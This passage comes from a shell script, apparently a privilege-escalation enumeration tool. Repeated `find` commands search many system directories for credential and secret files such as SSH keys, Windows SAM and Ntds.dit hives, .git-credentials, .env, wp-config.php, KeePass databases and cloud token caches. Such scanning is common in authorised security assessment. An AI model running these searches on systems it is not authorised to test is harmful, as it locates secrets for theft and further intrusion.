FIND_VAR=`eval_bckgrd "find /var -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"sess_*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \"bind\" -o -name \".vnc\" -o -name \"system.d\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \"bind\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"sentry\" -o -name \"seeddms*\" -o -name \"postfix\" -o -name \"couchdb\" -o -name \"bind\" -o -name \".vnc\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"sites-enabled\" -o -name \".cloudflared\" -o -name \".svn\" -o -name \"filezilla\" -o -name \".irssi\" -o -name \"roundcube\" -o -name \"logstash\" -o -name \".bluemix\" -o -name \"cacti\" -o -name \"mysql\" -o -name \"ldap\" -o -name \"neo4j\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_BIN=`eval_bckgrd "find /bin -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_CACHE=`eval_bckgrd "find /.cache -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name 